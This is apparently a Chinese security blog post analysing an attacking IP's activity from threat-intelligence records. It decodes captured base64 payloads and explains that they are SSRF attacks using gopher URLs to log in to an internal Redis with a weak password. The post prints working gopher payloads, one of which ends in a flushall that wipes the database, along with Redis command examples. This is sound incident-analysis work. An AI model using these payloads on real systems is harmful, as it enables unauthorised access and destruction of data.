起因是在查询某攻击IP过程中发现某平台记录了该IP的一些信息如下:
1、主机信息:
关键信息未提取出来:首先情报平台发现了该IP开放了8834端口,但是这个端口是干什么的呢?下意识的访问了下:已经访问不了了!其实这张图片已经显示了扫描时间和服务:Date: Mon, 05 Apr 2021 09:37:28 GMT,Server: NessusWWW。
信息:该攻击IP曾于2021年4月5日前后使用了Nessus扫描器进行攻击。
2、近期活动
依赖于情报平台强大的信息收集能力,除了能看到详细的PDNS信息外,还能看到近期攻击活动记录,通过这个payload你能看出什么呢?
提取一下payload:
1、WdFQUx3QUFBUUFBQUJvQUJnRUFJQUFCQWdBaEFBRURBQ0lBQkFRQUpnQUIvd0FBQUFBQUFBQUFBQUFBQUFBPQ==
2、S2pJTkNpUTBEUXBoZFhSb0RRb2tOdzBLWVRFeU16UTFOZzBL
bse64解码:
1、/ !"&
2、数据如下:
我定睛一看,auth应该是认证吧,下面还有弱口令,难道是使用弱口令登录,但这个*2、$4、$7啥意思?
答案如下:
ssrf漏洞利用过程中使用gopher协议进行内网redis漏洞攻击(非未授权,弱口令+攻击)
由于之前复现过的漏洞是直接空口令进行登录然后写计划任务、写key什么的,原来也是需要认证的,用的就是auth+密码,相关工具如下:
https://www.cnblogs.com/nul1/p/11598396.html
关键的就是这个*2、$4、$7这几个。请见这篇文章:
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
redis协议特别简单,简单到可以被直接读懂, 协议格式如下
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF ...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
然后我看了这个脚本的实现过程,就是按行提取cmd里面的命令个数和命令字节数,然后构建payload:
虚拟一个场景浮现下:
使用a123456的口令登录redis,并进行后续攻击行为:
这块还是熟悉下命令吧:
连接redis:redis-cli-h 192.168.63.130
查看redis版本信息、一些具体信息、服务器版本信息等等:192.168.63.130:6379>info
将变量x的值设为test:192.168.63.130:6379>setx "test"
获取设置的某个变量的值:192.168.63.130:6379>getx
`flushall`是把整个redis数据库删除,一般情况下不要用!!!192.168.63.130:6379>flushall
查看所有键:192.168.63.130:6379>KEYS *
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。192.168.63.130:6379>CONFIGGET dir
192.168.63.130:6379>CONFIGGET dbfilename
生成代码:
gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%37%0d%0a%61%31%32%33%34%35%36%0d%0a
gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%37%0d%0a%61%31%32%33%34%35%36%0d%0a%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a
至于这个_,为啥会有个这个呢,应该是占位符,这个介绍挺详细的:
Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)
自己试验了下,换成别的不影响编码输入的也行
这篇文章已经很详细了,但是redis不是web应用,所以没提及参数的事情
反思了一下这个事情,还是:纸上得来终觉浅,绝知此事要躬行,还是没有见过,多反思多总结。